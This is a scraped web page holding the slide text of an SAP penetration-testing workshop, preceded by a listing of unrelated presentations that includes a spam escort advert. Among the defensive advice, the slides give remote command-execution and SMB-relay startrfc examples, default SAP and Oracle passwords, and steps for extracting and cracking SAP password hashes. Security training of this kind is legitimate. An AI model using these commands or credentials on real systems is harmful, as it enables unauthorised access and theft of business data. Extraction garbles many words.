W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...panagenda
 
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...Steffen Staab
 
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...MyIntelliSource, Inc.
 
Right Money Management App For Your Financial Goals
Right Money Management App For Your Financial GoalsRight Money Management App For Your Financial Goals
Right Money Management App For Your Financial GoalsJhone kinadey
 

Dernier (20)

How To Use Server-Side Rendering with Nuxt.js
How To Use Server-Side Rendering with Nuxt.jsHow To Use Server-Side Rendering with Nuxt.js
How To Use Server-Side Rendering with Nuxt.js
 
Unlocking the Future of AI Agents with Large Language Models
Unlocking the Future of AI Agents with Large Language ModelsUnlocking the Future of AI Agents with Large Language Models
Unlocking the Future of AI Agents with Large Language Models
 
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
 
Salesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantSalesforce Certified Field Service Consultant
Salesforce Certified Field Service Consultant
 
A Secure and Reliable Document Management System is Essential.docx
A Secure and Reliable Document Management System is Essential.docxA Secure and Reliable Document Management System is Essential.docx
A Secure and Reliable Document Management System is Essential.docx
 
Exploring iOS App Development: Simplifying the Process
Exploring iOS App Development: Simplifying the ProcessExploring iOS App Development: Simplifying the Process
Exploring iOS App Development: Simplifying the Process
 
5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf
 
DNT_Corporate presentation know about us
DNT_Corporate presentation know about usDNT_Corporate presentation know about us
DNT_Corporate presentation know about us
 
TECUNIQUE: Success Stories: IT Service provider
TECUNIQUE: Success Stories: IT Service providerTECUNIQUE: Success Stories: IT Service provider
TECUNIQUE: Success Stories: IT Service provider
 
Professional Resume Template for Software Developers
Professional Resume Template for Software DevelopersProfessional Resume Template for Software Developers
Professional Resume Template for Software Developers
 
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AISyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
SyndBuddy AI 2k Review 2024: Revolutionizing Content Syndication with AI
 
Advancing Engineering with AI through the Next Generation of Strategic Projec...
Advancing Engineering with AI through the Next Generation of Strategic Projec...Advancing Engineering with AI through the Next Generation of Strategic Projec...
Advancing Engineering with AI through the Next Generation of Strategic Projec...
 
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
 
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
 
Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...
Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...
Reassessing the Bedrock of Clinical Function Models: An Examination of Large ...
 
Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsUnveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
 
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
 
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
 
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
 
Right Money Management App For Your Financial Goals
Right Money Management App For Your Financial GoalsRight Money Management App For Your Financial Goals
Right Money Management App For Your Financial Goals
 

Practical SAP pentesting workshop (NullCon Goa)

  • 1. Invest  in  security   to  secure  investments   Prac%cal  SAP   Pentes%ng   Alexander  Polyakov.  CTO  ERPScan  
  • 2. About  ERPScan   •  The   only   360-­‐degree   SAP   Security   soluAon   -­‐   ERPScan   Security   Monitoring  Suite  for  SAP   •  Leader  by  the  number  of  acknowledgements  from  SAP  (  150+  )   •  60+  presenta%ons  key  security  conferences  worldwide   •  25  Awards  and  nomina%ons   •  Research  team  -­‐  20  experts  with  experience  in    different  areas   of  security   •  Headquarters  in  Palo  Alto  (US)  and  Amsterdam  (EU)       2  
  • 4. Business  applica%on  security       All  business  processes  are  generally  contained  in  ERP  systems.    Any  informaAon  an  aPacker,  be  it  a  cybercriminal,  industrial  spy   or  compeAtor,  might  want  is  stored  in  a  company’s  ERP.     This  informaAon  can  include  financial,  customer  or  public   relaAons,  intellectual  property,  personally  idenAfiable  informaAon   and  more.  Industrial  espionage,  sabotage  and  fraud  or  insider   embezzlement  may  be  very  effecAve  if  targeted  at  a  vicAms  ERP   system  and  cause  significant  damage  to  the  business.   4  
  • 5. Big  companies   5     Portal   HR   LogisAcs   Warehouse   ERP   Billing   Suppliers   Customers   Banks   Insurance  Partners   Branches   BI   Industry   CRM   SRM  
  • 6. SAP                         Вставьте  рисунок  на  слайд,  скруглите  верхний  левый  и  нижний  правый  угол   (Формат  –  Формат  рисунка),  добавьте  контур  (оранжевый,  толщина  –  3)   6   •  The  most  popular  business  applicaAon   •  More  than  250000  customers  worldwide     •  83%  Forbes  500  companies  run  SAP   •  Main  system  –  ERP   •  3  Main  plaxorms   -  NetWeaver  ABAP   -  NetWeaver  J2EE   -  BusinessObjects  
  • 7. SAP  NetWeaver  ABAP   •  Main  plaxorm   •  Base  plaxorm  for:  ERP,SRC,CRM,PLM     •  Purpose:  Automate  business  processes     •  If  compromised:     -  Stopping  of  business  processes   -  Fraud   -  Industrial  espionage   7  
  • 8. SAP  NetWeaver  J2EE   •  AddiAonal  plaxorm   •  Base  plaxorm  for  IT  stuff.  Like:     –  SAP  Portal  ,  SAP  XI,  SAP  SoluAon  Manager,  SAP  Mobile,  SAP  xMII   •  Purpose:  IntegraAon  of  different  systems     •  If  compromised:   -  Stopping  of  all  connected  business  processes   -  Fraud   -  Industrial  espionage   8  
  • 9. SAP  BusinessObjects   •  AddiAonal  plaxorm   •  Base  plaxorm  for  analyAcs   •  Mostly  business  oriented:   -  Business  Intelligence   -  GRC     •  If  compromised:   -  Fraud   -  Industrial  espionage   9  
  • 11. SAP  for  users   •  Client-­‐server  applicaAon    SAP-­‐GUI  with  proprietary  DIAG   protocol   •  Main  funcAons  –  TransacAons  executed  in  SAPGUI   •  Also  possible  to  call  special  background  funcAons  (RFC)   remotely   •  Possible  to  modify  code  of  transacAons  or  RFC  funcAons  using   ABAP  language   •  Possible  to  use  web-­‐interfaces    like  Webdynpro  or    BSP  in  some   applicaAons  like  SRM     11  
  • 12. SAP  for  users   •  SAP  Landscape   –  Test,  Development,  ProducAon,  QA   •  SAP  Instance   –  Server  Instance,  Dialog  instance   •  Client   –  Default  clients   –  Client  separaAon     12  
  • 13. 13   DEMO  0:   Login  to  SAP  system.  
  • 14. 14   Introduc)on  to  SAP  Security  
  • 15. SAP  Security     •  Complexity.  Complexity  kills  security.  Many  different   vulnerabiliAes  in  all  levels  from  network  to  applicaAon   •  Customiza%on.  Can  not  be  installed  out  of  the  box.  They  have   many  (up  to  50%)  custom  codes  and  business  logic   •  Risky.  Rarely  updated  because  administrators  are  scared  they   can  be  broken  during  updates  and  also  it  is  downAme   •  Unknown.  Mostly  available  inside  a  company  (closed  world)     hPp://erpscan.com/wp-­‐content/uploads/pres/ForgoPen%20World%20-­‐ %20Corporate%20Business%20ApplicaAon%20Systems%20Whitepaper.pdf   15  
  • 16. 16   0   100   200   300   400   500   600   700   800   900   2001   2002   2003   2004   2005   2006   2007   2008   2009   2010   2011   2012   2013   2014   By  2014    -­‐  2800  SAP  Security  notes   SAP  Security  notes  
  • 17. SAP  Pentes%ng  Features     •  Deeper  knowledge  of  ERP  than  normal  systems  required   •  ERP  systems  are  mission  criAcal  and  cannot  be  accidentally   taken  down  (POC  exploits  too  dangerous)   •  Gaining  shell  /  command  exec  is  not  the  goal   –  Goal  is  access  to  sensiAve  data  or  impact  to  business  processes       17  
  • 18. SAP  Pentes%ng  Features:  deeper  knowledge   •  Higher  difficulty  than  standard  pen  tests   •  Required  knowledge  of:   –  Business  processes   –  Business  logic   –  Exploit  tesAng  impact  risk  assessment   –  High  end  databases   –  Numerous  (someAmes  esoteric)  operaAng  systems   –  Different  hardware  plaxorms   –  Common  custom  implementaAons       18  
  • 19. SAP  Pentes%ng  Features  :  Exploita%on   •  Exploit  code  for  ERP  not  easy  to  develop     •  Payloads  have  to  be  adapted   –  Numerous  hardware,  OS,  release  version,  and  db  systems  to  generate   payloads  for   –  In  some  causes  up  to  50  different  shellcode  variaAons   •  Building  a  test  environment  nearly  impossible   –  Takes  an  expert  a  week  to  properly  install  each  variaAon   –  A  year  to  build  a  comprehensive  test  environment       19  
  • 20. SAP  Pentes%ng  Features  :  Shell   •  A  bePer  approach  required  with  focus  on   –  Architecture   –  Business  Logic   –  ConfiguraAon     –  You  will  get  administrators  access  to  business  data   •  Rather  than   –  Program  or  Memory  VulnerabiliAes   –  You  will  probably  gain  access  to  OS  and  then  need  to  obtain  access  to   ApplicaAon       20  
  • 21. SAP  Security  areas   21   Code  security   Business  security  (SOD)   Infrastructure  security  (Network,OS,Database)   ApplicaAon  plaxorm  security   Legal  user  required   Legal  user  not  required  
  • 22. SAP  Security  areas   22   Code  security   Business  security  (SOD)   Infrastructure  security  (Network,OS,Database)   ApplicaAon  plaxorm  security   Legal  user  required   Legal  user  not  required  
  • 23. Methodologies:  EAS-­‐SEC   23   •  Enterprise  ApplicaAon  Security  Project     •  Found  in  2010   •  Published  concept  and  top10  issues  for  different  areas     •  Version  2  in  2004   Published  compliance  for  SAP  NetWeaver  ABAP     hPp://erpscan.com/publicaAons/the-­‐sap-­‐netweaver-­‐abap-­‐plaxorm-­‐ vulnerability-­‐assessment-­‐guide/     Exists  to  provide  guidance  to  people  involved  in  the  procurement,   design,   implementa)on   or   sign-­‐off   of   large   scale   (i.e.'Enterprise')   applica)ons.   hPp://www.owasp.org/index.php/ OWASP_Enterprise_ApplicaAon_Security_Project    
  • 24. 24   Network  level  security  
  • 25. Network  Security  Agenda   Top  10  Network/Architecture  issues  by  EAS-­‐SEC       1.  Lack  of  proper  network  filtra%on  between  SAP  and  Corporate   network   2.  Lack  or  vulnerable  encryp%on  between  corporate  network  and   SAP   3.  Lack  of  separa%on  between  TST  DEV  and  PRD  system   4.  Lack  of  encrypAon  inside  SAP  Network   5.  Insecure  trusted  relaAons  between  components   6.  Insecure  configured  Internet  facing  applica%ons     7.  Vulnerable  /  default  configured  Gateways   8.  lack  of  frontend  access  filtraAon   9.  Lack  or  misconfigured  monitoring  IDS/IPS   10.  Insecure  /  inappropriate  wireless  communicaAon     25  
  • 26. Network  Security  at  glance   It  is  mostly  about:   •  Network  filtraAon  (ACL)   •  Protocol  security  (EncrypAon)   •  Securing  Internet  access  (SAP  Router)     26  
  • 27. Network  filtra%on   27   Almost  every  listed  applicaAon    have  vulnerabiliAes  and   misconfiguraAons  that  can  be  used  to  gain  access  to  SAP     hPp://www.sdn.sap.com/irj/scn/go/portal/prtroot/docs/library/uuid/4e515a43-­‐0e01-­‐0010-­‐2da1-­‐9bcc452c280b?QuickLink=index&overridelayout=true    
  • 28. 28   DEMO  1:   Nmap  scan  of  SAP  
  • 29. Why  cri%cal?   •  AdministraAve  SAP  services  can  have  direct  Internet  access   •  Even  if  you  sure  that  not   •  To  prove  in  we  run  “SAP  Security  in  Figures  report”   •  All  of  possible  services  were  found  at  least  once     29   Myth:  SAP  systems  a`acks    available  only  for  insiders  
  • 30. Why  cri%cal?   30   About  10000  systems  including:    Dispatcher,  Message  server,  SapHostcontrol,  Web-­‐  services  
  • 31. Protocol  security   31   Soa     Port     Protocol   Pass  encr   Data  encr   Mi%ga%on   SAPGUI   32<SN>   DIAG   Compession  (can  be   decompresssed)   Compression  (can  be   decompressed)   SNC   WEBGUI   80<SN>   HTTP   Base64   no   SSL   RFC   33<SN>   RFC   XOR   no   SNC   Message  server   36<SN>   No   no   SNC     Visual  Admin   5<SN>04   P4   Prorietary  (broken)   Prorietary  (broken)     SSL   IIOP   5<SN>07   J2EE  Telnet   5<SN>08   No   No     VPN/Disablse     LogViewer   5<SN>09   prorietary   md5   No   NO   MMC   5<SN>13   HTTP   Base64   no   SSL  
  • 32. 32   SAP  Router  security  
  • 33. SAP  Router   SAP  Router  –  reverse  proxy  server:   •  Transmit  connecAons   –   From  internet  lo  company   –   From  SAP  AG  to  company   –   Between  networks   –   Between  clients/partners   •  Listen  by  default  port  3299   •  Can  be  installed  in  windows/linux   •  Support  encrypAon  (SNC)  and  ACL     33  
  • 34. SAP  Router  bug  1  (Table  bypass)   There  is  an  ACL  table  to  prevent  unauthorized  access   •  D    172.16.0.1                          192.168.1.1        22   •  P      172.16.0.4                        192.168.1.1        3301              passwd   •  S      172.16.0.5                          192.168.1.1        *                          passwd   •  .   •  .   •  .   •  KP                              *                                192.168.1.1      8000   •  P                                      *                                                  *                                  *   34  
  • 35. SAP  Router  bug  2  (non  SAP  services)   •  SomeAmes  administrators  use  SAPRouter  also  for  rouAng  other   protocols   •  It  is  possible  to  connect  any  port   •  In  old  versions  *  means  any  port  is  allowed   •  In  new  versions  *  means  any  SAP  port  is  allowed     •  P    172.*.*.*                              *        3389   •  P      *                                                          *        telnet                   35  
  • 36. SAP  Router  bug  3   •   InformaAon  disclose  about  router  table   •   If  router  configured  with  special  parameter  -­‐i   •   Router  table  can  be  remotely  disclosed   •   In  real  world  ~20%  of  routers  configured  in  such  way   36  
  • 37. SAP  Router  bug  4  (DOS)   •   If  you  found  informaAon  disclose   •  Or  brute  for  at  least  one  service  which  can  be  accessed  thought   SAP  Router     •  You  can  run  DOS  aPack  on  SAP  Router   •  By  default  router  pool  limited  to  3000  connecAons   •  In  1  minute  you  can  disable  SAPRouter   37  
  • 38. SAP  Router  bug  5  (full  access)   •  Auth  bypass   •  If  router  configured  with  special  parameter  -­‐x   •  Router  can  be  remotely  reconfigured   •  In  real  world  ~8%  of  routers  configured  in  such  way!       38  
  • 39. SAP  Router  bug  6  (Memory  corrup%on)   •  Memory  corrupAon  issue  were  found  by  ERPScan  team   •  Remote  compromise  without  authenAcaAon   •  Cant  disclose  details  now     •  85%  vulnerable  NOW!         39  
  • 40. 40   Database  level  security  for  SAP  systems  
  • 41. Database  Security  Agenda   •  CriAcal  database  data   •  APacking  Database   •  From  database  to  SAP   •  Securing  Database     41  
  • 42. Cri%cal  database  data   •  We  are  interested  in  data  that  can  help  us  to  get  into  SAP   •  Data  stored  in  tablespace  SAPR3  or  SAP<SID>   •   InteresAng  tables:      USR02  —  password  hashes      SSF_PSE_D  —  SSO  keys        RFCDES  –  passwords  for  RFC  connecAons        ICFSERVLOC  –  passwords  for  ICF  services      REPOSRC  –  ABAP  programs       42  
  • 43. A`acking  Database  (OWASP-­‐EAS)   Top  10  OS  Issues  by  OWASP-­‐EAS   1  Default  passwords  for  DB  access   2  Lack  of  DB  patch  management   3  Unnecessary  Enabled  DB  features     4  lack  of  password  lockout/complexity  checks   5  Unencrypted  sensiAve  data  transport  /  data   6  Lack  or  misconfigured  network  access  control   7  Extensive  user  and  group  privileges   8  lack  or  misconfigured  audit   9  Insecure  trust  rela%ons   10  Open  addiAonal  interfaces     43   SAP  Specific   SAP  Specific   SAP  Specific  
  • 44. A`acking  Database  (OWASP-­‐EAS)   •  Oracle  is  sAll  most  popular  database  for  SAP   •  By  default  listen  port  1527   •  Common  aPacks:   –  Default  Oracle  passwords   –  Simple  passwords  bruteforce   –  Protocol  vulnerabiliAes  (overflows)   –  Listener  aPacks  (remote  registraAon  of  log)   44   Direct  access  to  Database  =  full  SAP  compromise  
  • 45. Default  passwords   •  Default  SAP’s  database  users/passwords   –  SAPR3/SAP   •  Default  Oracle  database  users/passwords   –  SYS/CHANGE_ON_INSTALL   –  SYSTEM/MANAGER   –  SCOTT/TIGER   –  DBSNMP/DBSNMP   45  
  • 46. Misconfigured  access  control     •  Oracle  configuraAon  REMOTE_OS_AUTHENT   •  If  set  to  TRUE  oracle  trusts  remote  system  for  connecAng  to   listener   •  Remote  user  must  have  <SID>ADM  name   •  No  need  for  password  or  anything  else!     46  
  • 48. From  database  to  SAP   •  Connect  using  OPS$<SID>ADM   •  Select  encrypted  password  from  SAPUSER  table   •  Decrypt  it  (DES  with  known  key  BE_HAPPY)   •  Connect  to  SAP  using  user  SAPR3/SAPSR3/SAPSR3DB   •  SelecAng  user  hashes  from  SAP<SID>.usr02  table   •  Brute  hashes  using  JohnTheRipper   48  
  • 49. Oracle  Security  Defense   •  Close  port  1527  from  everything  but  SAP   •  Secure  listener  by  password   •  Configure  password  policies   –  FAILED_LOGIN_ATTEMPTS   –  PASSWORD_VERIFY_FUNCTION   •  Change  default  passwords   •  Encrypt  data  transfer   •  Enable  SQL  Audit  at  DB         49  
  • 50. 50   SAP  Applica)on  plaMorm  security  
  • 51. SAP  NetWeaver     51  
  • 52. 52   SAP  Frontend    security  
  • 53. Why  A`ack  users   •  Users  are  less  secure     •  There  are  thousands  SAP  users  in  one  company     •  You  can  aPack  them  even  if  Server  is  fully  secured   •  You  can  aPack  them  from  outside     •  You  can  use  them  as  proxy  for  aPacking  servers       53  
  • 54. Typical  Client  Soaware  for  SAP   •  SAPGUI   •  JAVAGUI     •  WEBGUI     •  NWBC           •  RFC     •  ApplicaAons  such  as  VisualAdmin,  Mobile  client  and  many-­‐many   other         54  
  • 55. Typical  Client  Soaware  for  SAP     55   Date   Vulnerable   Component Author Vulnerability Link 04.01.2007 Rfcguisink  Mark  Litchfield   BOF hPp://www.ngsso—ware.com/advisories/high-­‐risk-­‐vulnerability-­‐in-­‐ enjoysap-­‐stack-­‐overflow/   04.01.2007 Kwedit  Mark  Litchfield BOF hPp://www.ngsso—ware.com/advisories/high-­‐risk-­‐vulnerability-­‐in-­‐ enjoysap-­‐stack-­‐overflow/ 07.11.2008 Mdrmsap  Will  Dormann     BOF hPp://www.securityfocus.com/bid/32186/info 07.01.2009 Sizerone  Carsten  Eiram BOF hPp://www.securityfocus.com/bid/33148/info 31.03.2009 WebWiewer3D  Will  Dormann     BOF hPp://www.securityfocus.com/bid/34310/info 15.04.2009 Kwedit Carsten  Eiram Insecure  Method hPp://secunia.com/secunia_research/2008-­‐56/ 08.06.2009 Sapirrfc  Alexander  Polyakov  (DSecRG) BOF hPp://dsecrg.com/pages/vul/show.php?id=115 28.09.2009 WebWiewer3D Alexander  Polyakov  (DSecRG) Insecure  Method hPp://dsecrg.com/pages/vul/show.php?id=143   28.09.2009 WebWiewer2D Alexander  Polyakov  (DSecRG) Insecure  Method hPp://dsecrg.com/pages/vul/show.php?id=144    07.10.2009 VxFlexgrid  Elazar  Broad  ,    Alexander  Polyakov  (DSecRG) BOF hPp://dsecrg.com/pages/vul/show.php?id=117 23.03.2010 BExGlobal Alexey  Sintsov  (DSecRG) Insecure  Method hPp://dsecrg.com/pages/vul/show.php?id=164 unpublished Kwedit   Alexander  Polyakov,  Alexey  Troshichev     (DSecRG) Insecure  Method hPp://dsecrg.com/pages/vul/show.php?id=145   14.12.2010   RFCSDK  Alexey  Sintsov  (DSecRG) Memory  CorrupAon hPp://dsecrg.com/pages/vul/show.php?id=169   14.12.2010  RFCSDK  Alexey  Sintsov  (DSecRG) Format  String hPp://dsecrg.com/pages/vul/show.php?id=170   unpublished    DSECRG-­‐00173  Alexander  Polyakov  (DSecRG) Insecure  Method later 22.12.2010 NWBC Alexey  Sintsov  (DSecRG) Memory  CorrupAon hPp://dsecrg.com/pages/vul/show.php?id=210
  • 56. Implementa%on  fails     •  DistribuAves  usually  stored  on  shared  folder     •  If  you  can  gain  this  access  it  is  possible  to  overwrite  dll’s   •  Or  modify  configuraAon  file  with  BOF  issues.   •  Or  overwrite  configuraAon  files  with  fake  SAP  server       56  
  • 57. 57   SAP  NetWeaver  –  Applica)on  server  services  
  • 58. SAP  NetWeaver:  main  components   •  NetWeaver  Applica%on  Server  ABAP   –  SAP  Gateway   –  SAP  Message  server   –  SAP  Message  server  HTTP   –  SAP  Dispatcher   –  SAP  ICM   –  SAP  MMC   –  SAP  HostControl   •  NetWeaver  Applica%on  Server  JAVA   –  HTTP  Server   –  SAP  Portal   58  
  • 59. 59   SAP  Gateway  security  
  • 60. SAP  NetWeaver     60  
  • 61. SAP  Gateway  also  called  Applica%on  Server.   •  One  of  the  core  SAP  services   •  Allows  interacAon  with  remote  SAP  systems  and  also  with  other   systems   •  Manages  the  communicaAon  for  all  RFC  based  funcAonality   –  Gateway  monitor  (AdministraAon  )   –  Gateway  Reader  (  RFC)     –  Gateway  work  process  (  logging  )         61   hPp://scn.sap.com/people/maP.kangas/blog/2009/03/03/sap-­‐netweaver-­‐executables   SAP  Gateway  
  • 62. Gateway  Monitor   •  Gateway  Monitor   •  Access  for  analyzing  gateway  process   •  You  can  specify  3  opAons  for  security   –  Gw/monitor=0  forbidden  access   –  Gw/monitor=1  only  local  access  (default  now)   –  Gw/monitor=2  local  and  remote  access  (default  before  6.2)       62  
  • 63. Gateway  Monitor   •  If  Gw/monitor=2    it  is  possible  to  run  criAcal  commands  and   obtain  some  informaAon    remotely   •  Remote  monitoring  can  be  done  by  GWMON  tool   •  Stored  in  /usr/exe/   •  Example:    gwmon  -­‐gwhost  127.0.0.1  -­‐gwserv  3200       63  
  • 64. 64   DEMO  9:   Playing  with  GWMON  
  • 65. Gateway  RFC    (3  types)     •  ABAP  RFC       –  client  call  SAP-­‐server   •  Registered  RFC  Server  Program     –   Client  call  addiAonal  programs    installed  on  Other  servers  via  Gateway       •  Started  RFC  Server  Program   –   Client  call  addiAonal  programs      that  installed  on  SAP-­‐server       65  
  • 66. •  Most  commonly  used   •  It  is  like  windows  RPC   •  User  can  call  ABAP  remote-­‐enabled  funcAons     •  need  to  know:     –  System  id   –  Client   –  userid   –  password       •  There  are  about  30000  different  RFC  funcAons    in  different   groups             66   ABAP  RFC  -­‐  overview  
  • 67. ABAP  RFC  -­‐  execu%ng   How  to  call  RFC  func%on  remotely?   •  Use  default  tool  usrsapERPSYSexerun startrfc •  Use  default  credenAals  or  exisAng  user  credenAals     Example:   >Startrfc.exe -3 –h 172.16.0.222 –s 01 –c 800 –F RFC_PING -t   Don’t  miss  parameters  order  because  you  will  get  errors!             67  
  • 68.  ABAP  RFC  –  Anonymous  RFC’s     •  Check  If  funcAon  can  be  accessed  anonymously   •  There  are  some  funcAons  that  can  be  executed  anonymously   –  RFC_PING  –  just  check  connecAon   –  RFC_SYSTEM_INFO     –  RFC_GET_LOCAL_DESTINATIONS   –  RFC_GET_LOCAL_SERVERS   –  SYSTEM_INVISIBLE_GUI             68  
  • 69. 69   DEMO  10:   ABAP  RFC  –  informa)on  disclose  issues  
  • 70. Default  creden%als   They  can  be  used  to  run  RFC  funcAons  remotely       70   USER   PASSWORD   Client   SAP*   06071992,  PASS   000,001,066,Custom   DDIC   19920706   000,001,Custom   TMSADM   PASSWORD,  $1Pawd2&   000   SAPCPIC   ADMIN   000,001   EARLYWATCH   SUPPORT   066  
  • 71. 71   DEMO  11:   ABAP  RFC  –  user  crea)on  
  • 72. ABAP  RFC  a`acks  (SMBRELAY)   •  EPS_DELETE_FILE  –  no  addiAonal  auth  checks  inside!   •  EPS_CLOSE_FILE   •  CLBA_CLASSIF_FILE_REMOTE_HOST   •  CLBA_UPDATE_FILE_REMOTE_HOST   •  EDI_DATA_INCOMMING   •  RZL_READ_FILE   •  50  more…..     Example:   >Startrfc.exe -3 –h 172.16.0.222 –s 01 –t -F EDI_DATA_ICOMING –E PATHNAME= 172.16.0.101ERPScan -E PORT=SAPID3 –u SAPCPIC –p admin       72  
  • 73. •  SXPG_CALL_SYSTEM  (any  command  using  vulnerability)   Example:   Startrfc.exe  -­‐3  -­‐h  172.16.0.222  -­‐s    01     -­‐F  SXPG_COMMAND_EXECUTE   -­‐E  COMMANDNAME=TYPE   -­‐E  ADDITIONAL_PARAMETERS=  cat/etc/passwd     -­‐u  SAPCPIC   -­‐p  admin   73   ABAP  RFC  a`acks  (Command  execu%on)  
  • 74. 74   DEMO  12:   ABAP  RFC  –  remote  command  execu)on  
  • 75. Gateway  Defense   •  Secure  GW/monitor   •  Enable  Secinfo  and  Reginfo  ACL  (don’t  use  *)   •  Patch  for  latest  RFC  security  bypasses  rfc/reg_no_conn   •  Restrict  access  to  dangerous  RFC  funcAons   •  Enable  GW/logging       75  
  • 76. 76   SAP  Message  Server  security  
  • 77. SAP  NetWeaver     77  
  • 78. •  The  SAP  Message  server  provides  two  services.     –  manages  SAP  communicaAon  between  the  applicaAon  servers  of  one   SAP  system.     –  provides  load-­‐balancing  informaAon  to  clients  like  the  SAP  GUI.     •  Before  7.0  listens  one  port  for  both  services     •  Since  7.0  default  installaAons  automaAcally  split  into   –   internal  port  (used  for  applicaAon  server  connecAons)   –   external  port  (used  for  user  connecAons).   •   This  is  defined  via  profile  parameters     –  rdisp/mshost,  -­‐  host   –  rdisp/msserv,  -­‐  port   –  rdisp/msserv_internal  must  be  !=0       78   SAP  Message  Server  -­‐  overview  
  • 79. Why  should  we  make  2  ports  for  SAP  MS?   •  APacker  can  register  fake  applicaAon  server  on  message  server   •  By  default  it  is  possible  without  authenAcaAon   •  He  can  make  MITM  and  sniff  client  connecAons       79   SAP  Message  Server  -­‐  a`acks  
  • 80. SAP  Message  Server  -­‐  ACL   •  Even  if  you  restrict  access  to  message  server  from  GUI  clients     •  ApplicaAon  servers  can  access  it   •  Ms/acl_info  can  be  used  to  list  approver    app  servers   •  The  entries  must  have  the  following  syntax:   HOST=[*| ip_adr | host_name | Subnet_mask | Domain ] [, ...] Examples for valid entries are: HOST = * (all hosts are allowed) HOST=host1,host2 (Logons allowed from host1 and host2) HOST=*.sap.com (all hosts in the sap.com domain can log on) HOST=147.45.56.32 (hosts with this IP address can log on) HOST=147.45.56.* (hosts with this subnet can log on)     80  
  • 81. •  SAP  Message  server  Monitoring     •  Can  remotely  get  informaAon  about  message  server     –  check  and  change  all  the  important  sešngs   –  create  and  view  traces   –  read  staAsAcs   •  Managed  by  ms/monitor  opAon   •   if  ms/monitor  =1  and  ms/admin_port  !=0  anybody  can  get   remote  access  by  using  “msmon”  tool     hPp://help.sap.com/saphelp_nw04/helpdata/EN/64/3e7›4a12e49b9856bb97970c6acc1/frameset.htm   81   Message  Server  monitoring  
  • 82. 82   DEMO  15:   Playing  with  MSMON    
  • 83. •  Disable  ms/monitor   •  Enable  ms/acl_info  and  manage  ACL   •  Enable  ms/admin_port                     hPp://help.sap.com/saphelp_nw04/helpdata/en/40/c235c15ab7468bb31599cc759179ef/frameset.htm   83   Message  server  -­‐  defense  
  • 84. 84   SAP  Message  Server  HTTP  
  • 85. •  Message  Server  HTTP   •  Just  simple  HTTP  service  with  informaAon   •  There  is  no  need  to  have  this  service     •  InformaAon  disclose  vulnerability  exist:   –  Read  details  about  connected  instances   –  Read    SAP  parameters                   85   Message  server  HTTP  -­‐  info  
  • 86. 86   DEMO  16:   Message  Server  HTTP  –  parameter  disclosure  
  • 87. 87   SAP  NetWeaver  ICM  Security  
  • 88. SAP  NetWeaver     88  
  • 89.   •  History  of  SAP  web  applicaAons  and    ITS   •  ITS  vulnerabiliAes   •  ICM  architecture   •  ICM  vulnerabiliAes   •  ICM  Defense       89   Agenda  
